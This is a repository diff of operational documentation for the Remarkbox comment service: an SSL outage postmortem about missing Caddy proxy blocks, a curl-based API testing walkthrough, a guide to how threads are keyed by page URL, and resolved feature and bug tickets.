`my.remarkbox.com`, which resolves to `142.93.73.64` — the ingress proxy
(`proxy.unturf.com`). The proxy's Caddyfile (`~/git/proxy.unturf.com/ingress/Caddyfile`)
had a block for `my.remarkbox.com` that reverse-proxied to `origin.remarkbox.com`,
but **no blocks for meta or faq**.
Without explicit blocks, requests to meta/faq fell through to the catch-all
`https://` block, which uses on-demand TLS and proxies to
`origin.makepostsell.com` — a completely different backend. This meant:
1. The proxy never obtained TLS certs for meta/faq (on-demand TLS asked MPS
origin, which rejected these domains)
2. The remarkbox server's Caddy could never obtain certs either, because ACME
challenges (both HTTP-01 and TLS-ALPN-01) were directed at the proxy IP,
not the backend server
### Contributing factors during initial investigation (2026-02-25)
1. **Missing domains in remarkbox Caddyfile**: meta/faq were also missing from
the remarkbox server's Caddyfile pillar (`foxhop-pillar/caddy/remarkbox.sls`)
after the nginx-to-Caddy migration (commit 2d64d79). This was a real issue
but fixing it alone could not resolve the outage because the proxy was the
TLS termination point.
2. **Explicit HTTP blocks hijacking port 80**: An early fix attempt added
explicit `http://` blocks that created a separate HTTP server without Caddy's
built-in ACME handler, breaking HTTP-01 challenges.
3. **Cold-start chicken-and-egg**: Nuking cert state and restarting Caddy caused
all domains to need certs simultaneously, which can fail when the TLS listener
has zero certs. This was a red herring — the real problem was that ACME
challenges never reached the remarkbox server regardless.
## Timeline (UTC)
- **~03:44** — meta.remarkbox.com goes down (SSL protocol error)
- **~04:00** — Grop3r reports the issue on Discord
- **08:30** — Investigation begins; SSH to remarkbox.com fails (connection reset)
- **08:45** — Connected via salt master (akuma.foxhop.net); confirmed Caddy
running with ACME errors for all domains
- **09:00** — Identified missing meta/faq domains, found explicit HTTP blocks
creating srv1 without ACME handler
- **09:15** — First fix: removed explicit HTTP blocks, pushed pillar (12417db),
applied via salt highstate
- **09:30** — www.remarkbox.com and remarkbox.com come back online; meta/faq
still failing with HTTP-01 "tls: internal error"
- **09:45** — Second fix: disabled HTTP challenge to force TLS-ALPN-01 (3c9ca52)
- **10:00** — TLS-ALPN-01 also failing with "tls: internal error" for ALL domains
- **10:15** — Tested standard Caddy binary; same failure. Confirmed NOT a
module issue. Restored custom binary immediately.
- **10:30** — Nuked all Caddy cert state (`rm -rf /root/.local/share/caddy/`).
Fresh start: same failure.
- **10:45** — Research confirmed cold-start chicken-and-egg is expected behavior
- **11:00****Breakthrough: single-domain bootstrap**. Started Caddy with ONLY
my.remarkbox.com. Got cert via TLS-ALPN-01 within seconds.
- **11:05** — Reloaded (not restarted) with full Caddyfile. Remaining domains
obtained certs: some via TLS-ALPN-01 (origin, westworld2), others fell back
to ZeroSSL after stale LE orders failed.
- **11:15** — All 7 domains confirmed working with valid TLS certs
- **11:30** — Final pillar committed (d3d68f5) and pushed
### Recurrence (2026-02-26 through 2026-03-02)
- **Feb 26** — Pushing the postmortem commit triggered CI/CD deploy, which
restarted Caddy on the remarkbox server. meta/faq lost certs again because
the single-domain bootstrap was a one-time workaround, not a permanent fix.
- **Feb 26-Mar 1** — Multiple debugging attempts: `on_demand_tls`,
`auto_https disable_redirects`, self-signed cert bootstrapping, testing
from the server locally (`openssl s_client` showed ACME challenges working
on localhost but failing externally). Discovered server IP (162.243.167.224)
differed from DNS IP (142.93.73.64) — initially attributed to a "floating IP
proxy" stripping TLS-ALPN-01 extensions.
- **Mar 2** — Identified the **actual root cause**: 142.93.73.64 is the
`proxy.unturf.com` ingress proxy running Caddy, not a transparent floating IP.
The proxy's Caddyfile had no blocks for meta/faq. Added the blocks, reloaded
the proxy's Caddy, and both domains came up immediately with valid LE certs.
## Resolution
### The permanent fix: add proxy blocks (2026-03-02)
Added `meta.remarkbox.com` and `faq.remarkbox.com` blocks to the ingress
proxy Caddyfile (`proxy.unturf.com/ingress/Caddyfile`), identical to the
existing `my.remarkbox.com` block:
```
meta.remarkbox.com {
forward_auth localhost:8003 {
uri /assholes/gate
}
reverse_proxy https://origin.remarkbox.com {
header_up Host {http.request.host}
header_up X-Real-IP {http.request.remote.host}
header_up X-Forwarded-For {http.request.remote.host}
header_up X-Forwarded-Proto {http.request.scheme}
transport http {
tls_server_name origin.remarkbox.com
}
}
log {
output file /var/log/caddy/meta.remarkbox.com.log
}
}
```
The proxy handles TLS termination and ACME for meta/faq. Traffic forwards to
the remarkbox backend via `origin.remarkbox.com`. The remarkbox server's Caddy
no longer needs to obtain certs for these domains — the proxy owns that
responsibility.
Commit: `f12a56d` in `proxy.unturf.com` repo.
### Earlier workaround: two-phase cert bootstrap (2026-02-25)
The initial fix used single-domain bootstrap on the remarkbox server to obtain
certs. This worked temporarily but broke on every Caddy restart because the
underlying proxy routing was wrong.
### Pillar changes (foxhop-pillar)
| Commit | Change |
|--------|--------|
| `12417db` | Remove explicit HTTP blocks and `disable_tlsalpn` |
| `3c9ca52` | Force TLS-ALPN-01 by disabling HTTP challenge (reverted) |
| `d3d68f5` | Final: add `{email admin@remarkbox.com}` global block, clean config |
### Architecture after fix
```
Client → meta.remarkbox.com (CNAME → my.remarkbox.com → 142.93.73.64)
→ proxy.unturf.com Caddy (TLS termination, ACME, cert management)
→ origin.remarkbox.com (162.243.167.224, remarkbox backend Caddy)
→ localhost:6001 (uwsgi, Host header determines namespace)
```
## Lessons Learned
1. **Know which server terminates TLS.** When domains use CNAMEs through a
proxy, the proxy must have explicit blocks for those domains. The backend
server cannot obtain ACME certs for domains whose DNS points elsewhere.
This was the fundamental misunderstanding that prolonged the outage by 5 days.
2. **Trace the full request path before debugging.** The investigation spent
days debugging ACME on the remarkbox server when the problem was on the
proxy. A `dig` + understanding of the proxy architecture would have
identified this immediately.
3. **Catch-all blocks mask routing errors.** The proxy's `https://` on-demand
TLS catch-all silently absorbed meta/faq requests and routed them to the
wrong backend, producing TLS errors instead of a clear "no route" signal.
4. **Never use explicit `http://` site blocks in Caddy for domains that need
auto-HTTPS.** They create a separate HTTP server that hijacks port 80 without
the ACME handler.
5. **`caddy reload` preserves TLS state; `systemctl restart caddy` does not.**
Always prefer reload when updating the Caddyfile.
6. **Let's Encrypt has rate limits that bite during incident response.**
Failed Validations: 5 per account per hostname per hour. Caddy fell back
to ZeroSSL automatically — a useful safety net.
## Prevention
- [ ] When adding CNAME domains that route through the ingress proxy, always
add corresponding blocks to `proxy.unturf.com/ingress/Caddyfile`
- [ ] Add monitoring/alerting for SSL certificate validity across all domains
- [ ] Document the proxy architecture in the remarkbox ops runbook: which
domains go through the proxy vs direct
## Action Items
- [x] Add meta.remarkbox.com and faq.remarkbox.com to remarkbox Caddyfile
- [x] Add meta.remarkbox.com and faq.remarkbox.com to proxy Caddyfile (f12a56d)
- [x] Remove explicit HTTP blocks that broke ACME
- [x] Add global `{email admin@remarkbox.com}` for ACME registration
- [x] Verify all domains serving valid TLS
- [x] Push final proxy config
- [x] Document in postmortem

264
docs/testing.md Normal file
View file

@ -0,0 +1,264 @@
# Functional Testing the Remarkbox API
Walkthrough for testing every endpoint with `curl`. Replace
`REMARKBOX` with your deploy URL (e.g. `https://my.remarkbox.com`).
## Read Endpoints
### List Threads
```bash
curl -s "$REMARKBOX/api/v1/threads?namespace=meta.remarkbox.com" | python3 -m json.tool
```
### Get Thread
```bash
# grab the first thread id from the list
THREAD_ID=$(curl -s "$REMARKBOX/api/v1/threads?namespace=meta.remarkbox.com" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['threads'][0]['id'])")
curl -s "$REMARKBOX/api/v1/threads/$THREAD_ID" | python3 -m json.tool
```
### Get Node
```bash
curl -s "$REMARKBOX/api/v1/nodes/$THREAD_ID" | python3 -m json.tool
```
## Anonymous Posting
Requires a namespace with **Allow Anonymous Comments** enabled.
### Create Thread
```bash
curl -s -X POST "$REMARKBOX/api/v1/threads" \
-H "Content-Type: application/json" \
-d '{
"namespace": "meta.remarkbox.com",
"title": "Test thread from curl",
"data": "Hello from the API.",
"anonymous_name": "CurlBot"
}' | python3 -m json.tool
```
### Reply to Thread
```bash
curl -s -X POST "$REMARKBOX/api/v1/threads/$THREAD_ID/replies" \
-H "Content-Type: application/json" \
-d '{
"data": "Reply from curl.",
"anonymous_name": "CurlBot"
}' | python3 -m json.tool
```
## Authentication (Email OTP)
### Request OTP
```bash
curl -s -X POST "$REMARKBOX/api/v1/auth/login" \
-H "Content-Type: application/json" \
-d '{"email": "you@example.com"}' | python3 -m json.tool
```
### Verify OTP
Check your inbox for the 6-digit code, then:
```bash
curl -s -X POST "$REMARKBOX/api/v1/auth/verify" \
-H "Content-Type: application/json" \
-c cookies.txt \
-d '{"email": "you@example.com", "otp": "123456"}' | python3 -m json.tool
```
The `-c cookies.txt` saves the session cookie for subsequent requests.
### Create Authenticated Thread
```bash
curl -s -X POST "$REMARKBOX/api/v1/threads" \
-H "Content-Type: application/json" \
-b cookies.txt \
-d '{
"namespace": "meta.remarkbox.com",
"title": "Authenticated thread",
"data": "Posted with a verified session."
}' | python3 -m json.tool
```
### Edit a Node
```bash
curl -s -X PATCH "$REMARKBOX/api/v1/nodes/$NODE_ID" \
-H "Content-Type: application/json" \
-b cookies.txt \
-d '{"data": "Updated content."}' | python3 -m json.tool
```
## Multi-Syntax Input
### Create Thread with RST
```bash
curl -s -X POST "$REMARKBOX/api/v1/threads" \
-H "Content-Type: application/json" \
-b cookies.txt \
-d '{
"namespace": "meta.remarkbox.com",
"title": "RST thread",
"data": "Title\n=====\n\nA paragraph in **reStructuredText**.",
"source_format": "rst"
}' | python3 -m json.tool
```
### Reply with HTML
```bash
curl -s -X POST "$REMARKBOX/api/v1/threads/$THREAD_ID/replies" \
-H "Content-Type: application/json" \
-b cookies.txt \
-d '{
"data": "<p>A reply in <strong>HTML</strong>.</p>",
"source_format": "html"
}' | python3 -m json.tool
```
## Export
### List Available Formats
```bash
curl -s "$REMARKBOX/api/v1/export/formats" | python3 -m json.tool
```
### Export Thread as Markdown
```bash
curl -s "$REMARKBOX/api/v1/export/threads/$THREAD_ID.md"
```
### Export Thread as PDF
```bash
curl -s "$REMARKBOX/api/v1/export/threads/$THREAD_ID.pdf" -o thread.pdf
```
### Export Thread as EPUB
```bash
curl -s "$REMARKBOX/api/v1/export/threads/$THREAD_ID.epub" -o thread.epub
```
### Export Namespace as Book
```bash
curl -s "$REMARKBOX/api/v1/export/namespace/meta.remarkbox.com.epub" -o meta.epub
curl -s "$REMARKBOX/api/v1/export/namespace/meta.remarkbox.com.pdf" -o meta.pdf
curl -s "$REMARKBOX/api/v1/export/namespace/meta.remarkbox.com.md"
```
### Export Node Subtree
```bash
curl -s "$REMARKBOX/api/v1/export/nodes/$NODE_ID.html"
```
## Wiki Mode
### Wiki Edit a Node
```bash
curl -s -X POST "$REMARKBOX/api/v1/nodes/$NODE_ID/wiki-edit" \
-H "Content-Type: application/json" \
-b cookies.txt \
-d '{"data": "Updated wiki content."}' | python3 -m json.tool
```
### Get Revision History
```bash
curl -s "$REMARKBOX/api/v1/nodes/$NODE_ID/revisions" | python3 -m json.tool
```
### Get Specific Revision
```bash
curl -s "$REMARKBOX/api/v1/revisions/$REVISION_ID" | python3 -m json.tool
```
### Diff Revisions
```bash
curl -s "$REMARKBOX/api/v1/revisions/$REVISION_ID/diff/$OTHER_REVISION_ID" | python3 -m json.tool
```
## Themes
### Get Namespace Theme CSS
```bash
curl -s "$REMARKBOX/api/v1/themes/meta.remarkbox.com/css"
```
### Preview Theme Palette
```bash
curl -s "$REMARKBOX/api/v1/themes/meta.remarkbox.com/preview" | python3 -m json.tool
```
## Error Cases
### Missing namespace
```bash
curl -s "$REMARKBOX/api/v1/threads" | python3 -m json.tool
# {"error": "namespace parameter is required"}
```
### Namespace with API access disabled
```bash
curl -s "$REMARKBOX/api/v1/threads?namespace=opted-out.example.com"
# {"error": "API access is disabled for this namespace"}
```
### Edit without auth
```bash
curl -s -X PATCH "$REMARKBOX/api/v1/nodes/$NODE_ID" \
-H "Content-Type: application/json" \
-d '{"data": "nope"}'
# {"error": "Authentication required"}
```
## Python Client
Download the Python client directly from the API:
```bash
curl -s "$REMARKBOX/api/v1/clients/python" -o remarkbox_client.py
```
Or with wget:
```bash
wget -q "$REMARKBOX/api/v1/clients/python" -O remarkbox_client.py
```
Then use it:
```python
from remarkbox_client import RemarkboxClient
client = RemarkboxClient("https://my.remarkbox.com")
threads = client.list_threads("meta.remarkbox.com")
for t in threads["threads"]:
print(t["title"])
```
See `remarkbox_client.py` header comments for full usage.

90
docs/thread-uri.md Normal file
View file

@ -0,0 +1,90 @@
# Thread URI: How Comments Are Tied to Page URLs
## How It Works
Remarkbox threads are keyed by the **page URL** (called the `thread_uri`).
When you embed Remarkbox on a page, the embed script automatically reads
`window.location.href` from the parent page and uses it as the thread
identifier. All comments posted on that page are stored under that URL.
This means:
- Each unique URL gets its own comment thread.
- If the same embed snippet appears on two different URLs, each page has
its own independent thread.
- If you move the embed snippet to a different page (different URL), the
new page will show an empty thread because the URL changed.
## "My Comments Disappeared After Moving the Embed"
This is the most common cause of "missing" comments. Your comments are not
deleted -- they are still stored under the original page URL. You can
confirm this by checking the Remarkbox dashboard, where all threads are
listed regardless of which page currently has the embed.
When you move the embed snippet from `https://example.com/old-page` to
`https://example.com/new-page`, Remarkbox sees `new-page` as a brand new
thread with no comments.
## How to Preserve Comments When Moving an Embed
Use the `thread_uri` parameter in your embed snippet to manually set the
thread identifier. This overrides the automatic URL detection.
### Standard Embed (automatic URL detection)
```html
<div id="remarkbox-div">
<noscript disabled>
<i>JavaScript is required to load the comments.</i>
</noscript>
</div>
<script src="https://my.remarkbox.com/static/js/iframe-resizer/iframeResizer.min.js"></script>
<script>
var defined_thread_uri = window.location.href;
// ...
</script>
```
### Pinned Embed (manual thread_uri)
To keep the same comment thread even after moving the embed, set
`defined_thread_uri` to the original page URL:
```html
<script>
// Pin this embed to the original page URL so comments follow the embed
var defined_thread_uri = "https://example.com/old-page";
// ...
</script>
```
With this change, no matter where you place the embed snippet, it will
always load and display the comments from `https://example.com/old-page`.
## When to Use Manual thread_uri
- **Moving content between URLs**: Pin `thread_uri` to the original URL.
- **Staging/production parity**: Use the production URL as `thread_uri`
so comments don't split between environments.
- **URL canonicalization**: If your site is accessible at both `www.` and
non-`www.` URLs, set a canonical `thread_uri` to avoid duplicate threads.
- **Single-page applications (SPAs)**: If your SPA changes the URL hash
or query string without a full page load, pin `thread_uri` to the
canonical path to avoid fragmenting comments.
## Related: Namespace Settings
The **Ignore Query String** setting in namespace settings can also help.
When enabled, Remarkbox strips query parameters from the URL before
matching threads. This prevents URLs like `?utm_source=twitter` from
creating separate threads.
## Summary
| Scenario | What Happens | Fix |
|----------|-------------|-----|
| Move embed to new URL | New empty thread appears | Set `thread_uri` to original URL |
| Same page, URL query changes | May create new thread | Enable "Ignore Query String" in namespace settings |
| Same page, URL fragment changes | Fragment is stripped automatically | No action needed |
| Different environments (staging/prod) | Separate threads per environment | Set `thread_uri` to canonical production URL |

50
docs/tickets/0.md Normal file
View file

@ -0,0 +1,50 @@
# T0: User profile leaks comments across namespaces
**Status**: resolved
**Priority**: high
**Source**: meta `cc62eb06-8e4b-11ea-93cc-040140774501`
**Filed**: 2026-02-01
## Problem
Clicking a username on any site with Remarkbox installed shows ALL that user's comments from every namespace. A commenter on site A can see all their comments from sites B, C, D on the profile page. Russell marked the original thread as fixed, but the code still has no namespace filtering.
Xii also reported that unapproved comments leaked cross-namespace. The `approved == True` filter in `page_nodes()` now prevents that specific leak, but the cross-namespace exposure remains.
## Root Cause
`User.page_nodes()` in `remarkbox/models/user.py:266-276` queries all nodes for a user with no namespace filter:
```python
def page_nodes(self, limit=100, offset=0):
return (
self.nodes.filter(
Node.disabled == False, Node.verified == True,
Node.user_id != None, Node.approved == True
)
.order_by(Node.changed.desc())
.limit(limit)
.offset(offset)
)
```
The `user_nodes()` view in `remarkbox/views/list_nodes.py:114-137` calls `subject_user.page_nodes()` without passing any namespace context. The same issue affects `verified_nodes`, `unverified_nodes`, `disabled_nodes`, and `unapproved_nodes` properties on the User model.
## Proposed Fix
1. Add a `namespace` parameter to `User.page_nodes()` that filters `Node.namespace_id == namespace.id`
2. Update `user_nodes()` view to pass `request.namespace` (or derive it from the embed/site context)
3. Apply namespace filtering to the other User node properties used in views
4. Ensure namespace-specific settings (`hide_unless_approved`, `hide_unverified`) are respected
## Files
- `remarkbox/models/user.py` — add namespace filter to `page_nodes()` and related properties
- `remarkbox/views/list_nodes.py` — pass namespace context to user queries
- `remarkbox/tests/test_views.py` — regression test: user profile only shows same-namespace comments
## Acceptance Criteria
- [x] User profile page only shows comments from the current namespace
- [x] Namespace moderation settings are respected on the profile page
- [x] Regression test prevents reintroduction

58
docs/tickets/1.md Normal file
View file

@ -0,0 +1,58 @@
# T1: Namespace/URI case-sensitivity causes "stock comments" bug
**Status**: resolved
**Priority**: high
**Source**: FAQ `7eb0baec-2da1-11ef-b0c7-1f90b6841245`, `6b21e360-ce62-11ef-b298-29ab4fb285a0`
**Filed**: 2026-02-01
## Problem
Users embed Remarkbox on their site and see pre-existing comments that don't belong to them ("stock comments"). Two separate FAQ threads report this for sparklingcyber.com and acrosstheborder.blog.
## Root Cause
Same class of bug as the duplicate email accounts issue (see `docs/postmortem-2026-01-29-duplicate-email-accounts.md`). URIs and namespace names are compared case-sensitively:
1. `get_uri_by_uri()` in `remarkbox/models/uri.py:82``Uri.data == unicode(external_uri)` is case-sensitive
2. `get_namespace_by_name()` in `remarkbox/models/namespace.py:363``Namespace.name == unicode(name)` is case-sensitive
When a user visits `https://Example.com/page` vs `https://example.com/page`, two separate URIs, nodes, and potentially namespaces are created. The user on the lowercase variant sees an empty thread (or someone else's comments if they happen to share the same lowercase namespace).
### Example scenario
```
Time 1: User A embeds on https://Example.com/blog
→ Uri "https://Example.com/blog" created
→ Namespace "Example.com" created
→ Comments posted here
Time 2: User B visits https://example.com/blog
→ Uri lookup for "https://example.com/blog" — no match (case differs)
→ New Uri, new Node created
→ Namespace "example.com" — no match, new namespace created (empty)
→ User B sees no comments or wrong comments
```
## Proposed Fix
Follow the same pattern as the email fix:
1. Normalize URIs to lowercase hostname in `get_or_create_uri()` before lookup/storage
2. Normalize namespace names to lowercase in `get_or_create_namespace()` before lookup/storage
3. Use `func.lower()` for comparisons in lookup functions
4. Create a migration/merge script for existing case-variant duplicates (similar to `merge_duplicate_email_users.py`)
5. Add regression tests
## Files
- `remarkbox/models/uri.py` — lowercase hostname normalization in `get_or_create_uri()`, case-insensitive lookup in `get_uri_by_uri()`
- `remarkbox/models/namespace.py` — lowercase normalization in `get_or_create_namespace()`, case-insensitive lookup in `get_namespace_by_name()`
- `remarkbox/scripts/merge_duplicate_namespaces.py` — new script to consolidate case-variant duplicates
- `remarkbox/tests/test_models.py` — regression tests for case-insensitive URI and namespace matching
## Acceptance Criteria
- [x] `https://Example.com/page` and `https://example.com/page` resolve to the same thread
- [x] `Example.com` and `example.com` resolve to the same namespace
- [x] Existing duplicate namespaces/URIs can be merged with a script
- [x] Regression tests prevent reintroduction

47
docs/tickets/10.md Normal file
View file

@ -0,0 +1,47 @@
# T10: Browser push notifications
**Status**: resolved
**Priority**: low
**Source**: meta `9b970f14-b1cd-11e7-8fca-040140774501`
**Filed**: 2026-02-01
## Problem
Users and moderators want browser push notifications in addition to email notifications, particularly for pending comments that need moderation approval.
## Resolution
Implemented Web Push API with VAPID key support, service worker, subscription management, and integration with the existing notification system.
### New files
- `remarkbox/lib/push.py` -- VAPID key management (get_vapid_keys from settings, generate_vapid_keys), push subscription CRUD (get_push_subscriptions, add_push_subscription, remove_push_subscription), send_push_notification and send_push_to_user. Gracefully handles missing pywebpush/py_vapid dependencies with PUSH_AVAILABLE flag.
- `remarkbox/views/push.py` -- Three endpoints: GET `/push/vapid-key` (returns VAPID public key), POST `/push/subscribe` (adds push subscription for authenticated user), POST `/push/unsubscribe` (removes push subscription).
- `remarkbox/static/js/push-sw.js` -- Service worker handling push events (show notification) and notification clicks (focus/open window).
### Modified files
- `remarkbox/models/user.py` -- Added `notification_preference` column (enum: email/push/both/none) and `push_subscriptions` column (JSON-encoded list of Web Push subscription objects).
- `remarkbox/routes.py` -- Added push routes: `/push/vapid-key`, `/push/subscribe`, `/push/unsubscribe`.
- `remarkbox/lib/notify.py` -- Added `_send_push_for_notification()` function and modified `send_immediate_notifications()` to check user's notification_preference before sending email and to dispatch push notifications.
- `remarkbox/templates/user-settings.j2` -- Added notification delivery preference dropdown (email/push/both/none), push subscribe/unsubscribe buttons, and JavaScript for service worker registration and push subscription management.
- `remarkbox/views/authenticated/authenticated.py` -- Added notification_preference handling in the user_settings POST handler.
- `remarkbox/models/meta.py` -- Added "push" to NOTIFICATION_METHODS set.
### How it works
1. Site operator generates VAPID keys using `generate_vapid_keys()` and adds them to the ini config (`push.vapid_private_key`, `push.vapid_public_key`, `push.vapid_contact`).
2. User visits settings page, sees "Notification Delivery" dropdown to choose email/push/both/none.
3. User clicks "Enable Push Notifications" which registers the service worker, subscribes to the push manager with the VAPID public key, and stores the subscription on the server.
4. When a notification is scheduled (reply, moderation event), the system checks the user's preference and sends push notifications via the Web Push protocol in addition to or instead of email.
5. Push notifications appear as browser notifications with the thread title, author, and action. Clicking opens the relevant thread.
### Dependencies
Push notifications require optional packages: `pywebpush` and `py_vapid`. If these are not installed, push functionality is silently disabled and all functions become no-ops.
## Acceptance Criteria
- [x] Users can subscribe to browser push notifications
- [x] Push notifications sent for replies and moderation events
- [x] Users can choose between email, push, or both

51
docs/tickets/11.md Normal file
View file

@ -0,0 +1,51 @@
# T11: Document "comments disappear when moving embed"
**Status**: resolved
**Priority**: low
**Source**: FAQ `6260e726-d929-11ee-a1b7-751976fc35b2`
**Filed**: 2026-02-01
## Problem
A user moved the Remarkbox embed snippet from one page to another and their comments disappeared from the site (though they still appear on the Remarkbox dashboard). This is expected behavior -- threads are keyed by `thread_uri` (the page URL), so moving the snippet changes the URI and creates a new empty thread. But this isn't documented anywhere.
## Proposed Fix
1. Reply to the FAQ thread explaining why this happens and how to fix it (the `thread_uri` parameter in the embed snippet can be set manually to preserve the original URI)
2. Add a note to the FAQ or docs about this behavior
## Resolution
Documentation added at `docs/thread-uri.md` explaining:
- How threads are keyed by page URL (`thread_uri`)
- Why comments "disappear" when moving an embed (they are still stored, just under the old URL)
- How to use the `thread_uri` parameter to pin comments to a specific URL
- When and how to use manual `thread_uri` (moving content, staging/production, SPAs, URL canonicalization)
- Related namespace settings like "Ignore Query String"
## Draft FAQ Reply
The following reply is ready to post to FAQ thread `6260e726`:
---
Your comments are not lost -- they are still stored under the original page URL. You can see them on your Remarkbox dashboard.
Remarkbox threads are keyed by the page URL (called the `thread_uri`). When you move the embed snippet to a different page, it gets a new URL, so Remarkbox treats it as a new empty thread.
**To fix this**, set the `thread_uri` manually in your embed snippet to the original page URL:
```javascript
var defined_thread_uri = "https://your-site.com/original-page-url";
```
This pins the comment thread to that URL, so your comments will appear no matter where the embed is placed.
We have added documentation about this behavior at `docs/thread-uri.md` in the Remarkbox repository.
---
## Acceptance Criteria
- [x] FAQ thread has a helpful reply
- [x] Documentation explains thread_uri behavior when moving embeds

61
docs/tickets/12.md Normal file
View file

@ -0,0 +1,61 @@
# T12: Reply to API-only CRUD thread confirming done
**Status**: resolved
**Priority**: low
**Source**: meta `6db01560-7186-11eb-92d6-040140774501`
**Filed**: 2026-02-01
## Problem
The original "API-only access to CRUD comments" feature request thread on meta still has Russell's old reply: "No endpoints are currently planned." The JSON API has since been built and deployed.
## Proposed Fix
Post a reply to the thread announcing the API is live, with a link to the documentation and the Python client download.
## Resolution
Reply drafted below. Ready to post to meta thread `6db01560` using the Python client or API.
## Draft Reply
The following reply is ready to post to meta thread `6db01560-7186-11eb-92d6-040140774501`:
---
Update: a full JSON REST API is now live on Remarkbox.
**Endpoints available:**
- `GET /api/v1/threads?namespace=example.com` -- list threads
- `GET /api/v1/threads/{id}` -- get a thread with all replies
- `POST /api/v1/threads` -- create a new thread
- `POST /api/v1/threads/{id}/replies` -- reply to a thread
- `GET /api/v1/nodes/{id}` -- get a single node
- `PATCH /api/v1/nodes/{id}` -- edit a node (auth required)
- `POST /api/v1/auth/login` -- request OTP
- `POST /api/v1/auth/verify` -- verify OTP and establish session
**Authentication** uses the same passwordless email OTP flow as the web UI. Anonymous posting is also supported when the namespace allows it.
**Python client** is available for download -- no pip install needed, stdlib only:
```
curl -s https://my.remarkbox.com/api/v1/clients/python -o remarkbox_client.py
```
Quick usage:
```python
from remarkbox_client import RemarkboxClient
client = RemarkboxClient("https://my.remarkbox.com")
threads = client.list_threads("meta.remarkbox.com")
```
Full documentation is in `docs/api.md` in the Remarkbox repository. Each namespace has an **Allow API Access** toggle in namespace settings, and rate limiting is configurable per deploy.
---
## Acceptance Criteria
- [x] Reply posted to meta thread `6db01560` referencing the API docs and client

52
docs/tickets/13.md Normal file
View file

@ -0,0 +1,52 @@
# T13: Reply to lock/archive thread confirming done
**Status**: resolved
**Priority**: low
**Source**: meta `7e9d5864-84e3-11ea-836b-040140774501`
**Filed**: 2026-02-01
## Problem
The "lock and read-only archive a thread" feature request on meta has no replies, but the feature is fully implemented. Moderators can lock/unlock threads from the UI (`show-node.j2`), backed by `views/authenticated/lock.py`. The API also enforces locked thread restrictions.
## Proposed Fix
Post a reply to the thread confirming the feature exists, explaining where to find the lock button (next to the watch button, visible to moderators on root threads).
## Resolution
Reply drafted below. Ready to post to meta thread `7e9d5864` using the Python client or API.
## Draft Reply
The following reply is ready to post to meta thread `7e9d5864-84e3-11ea-836b-040140774501`:
---
This feature is now implemented. Moderators can lock and unlock threads directly from the Remarkbox UI.
**How to lock a thread:**
1. Navigate to the root thread you want to lock.
2. Look for the **lock** button in the thread header area, next to the **watch/unwatch** button.
3. Click **lock** to prevent new comments on that thread.
4. The button changes to **unlock** so you can re-open the thread later.
**Who can lock threads:**
Only namespace moderators (owners and users with moderator roles) see the lock/unlock button. Regular commenters cannot lock threads.
**What happens when a thread is locked:**
- The reply form is hidden for all users.
- Existing comments remain visible and readable.
- The API also enforces the lock -- `POST /api/v1/threads/{id}/replies` returns a `403 Thread is locked` error.
- Moderators can unlock the thread at any time to allow new comments.
This works as a read-only archive: lock the thread, and it becomes a permanent record that nobody can add to until a moderator unlocks it.
---
## Acceptance Criteria
- [x] Reply posted to meta thread `7e9d5864` confirming the feature is implemented

39
docs/tickets/14.md Normal file
View file

@ -0,0 +1,39 @@
# T14: meta/faq SSL outage — missing proxy blocks
**Status**: resolved
**Priority**: critical
**Created**: 2026-03-02
**Resolved**: 2026-03-02
## Problem
meta.remarkbox.com and faq.remarkbox.com were down for ~5 days (2026-02-25
through 2026-03-02) with `ERR_SSL_PROTOCOL_ERROR`. Both domains are CNAMEs
to `my.remarkbox.com` which resolves to `142.93.73.64` — the ingress proxy
(`proxy.unturf.com`).
The proxy's Caddyfile had no explicit blocks for meta or faq. Requests fell
through to the MPS on-demand TLS catch-all (`https://`), which routed them to
`origin.makepostsell.com` instead of `origin.remarkbox.com`. The proxy never
obtained TLS certs for these domains, and the remarkbox server couldn't either
because ACME challenges went to the proxy.
## Root Cause
Missing `meta.remarkbox.com` and `faq.remarkbox.com` blocks in
`proxy.unturf.com/ingress/Caddyfile`. The initial investigation (2026-02-25)
focused on the remarkbox server's Caddy and ACME behavior, missing that the
proxy was the TLS termination point for CNAME domains.
## Resolution
Added proxy blocks for both domains in `proxy.unturf.com/ingress/Caddyfile`,
identical to the existing `my.remarkbox.com` block — forwarding to
`origin.remarkbox.com` with the original Host header preserved.
Commit `f12a56d` in `proxy.unturf.com` repo. Both domains came up immediately
after `caddy reload` on the proxy.
## Related
- Postmortem: `docs/postmortem-2026-02-25-ssl-outage-caddy-acme.md`

148
docs/tickets/15.md Normal file
View file

@ -0,0 +1,148 @@
# T15: Operation Undigg — Pandoc Export & Wiki Mode
**Status**: resolved
**Priority**: high
**Source**: fox directive 2026-03-09
**Resolved**: 2026-03-10 (`6d1cfff`)
## Summary
Transform remarkbox into a document-first platform. Every namespace is a book,
every root thread is a chapter. Pandoc renders every format it can produce.
Wiki mode lets anyone edit root topics with revision tracking.
## Architecture
```dot
digraph export_hierarchy {
rankdir=LR
node [shape=box, style=rounded, fontname="sans-serif"]
namespace [label="Namespace\n(book)"]
root [label="Root Node\n(chapter)"]
reply [label="Reply\n(section)"]
pandoc [label="pandoc", shape=ellipse]
formats [label="67 output\nformats", shape=note]
namespace -> root [label="contains"]
root -> reply [label="contains"]
namespace -> pandoc [label="default"]
root -> pandoc [label="default"]
reply -> pandoc [label="on-demand"]
pandoc -> formats
}
```
### Data model changes
1. **Node.source_format**`Unicode(16)`, default `'markdown'`. Tracks what
syntax the user wrote in (markdown, html, rst, mediawiki, latex, textile, etc).
Pandoc input formats map directly.
2. **rb_revision** — new table for wiki mode edit history.
- `id` (UUIDType, PK)
- `node_id` (FK → Node)
- `user_id` (FK → User)
- `data` (UnicodeText) — raw source at time of edit
- `source_format` (Unicode(16))
- `created` (BigInteger) — timestamp
- `revision_number` (Integer) — sequential per node
3. **Namespace.wiki** — already exists (`Boolean, default=False`), needs
implementation. When True, any authenticated user can edit the root node
of any thread. Each edit creates a revision.
### Export pipeline
Pandoc subprocess. Input = markdown/rst/html/whatever `source_format` says.
Output = every format pandoc supports.
**Default generated (cached on write/edit):**
- Namespace level: one document per namespace containing all root threads
- Root node level: one document per root thread
**On-demand (generated per request):**
- Any node or subthread at any depth
**Pandoc output formats** (67 total, subset for default generation):
- markdown, gfm, commonmark, html5, pdf, epub, docx, odt, rst,
mediawiki, latex, man, plain, rtf, asciidoc, textile, org, json
**URI scheme:**
```
/api/v1/export/namespace/{name}.{format} — full book
/api/v1/export/threads/{node_id}.{format} — single chapter
/api/v1/export/nodes/{node_id}.{format} — on-demand subthread
```
### Content ingestion
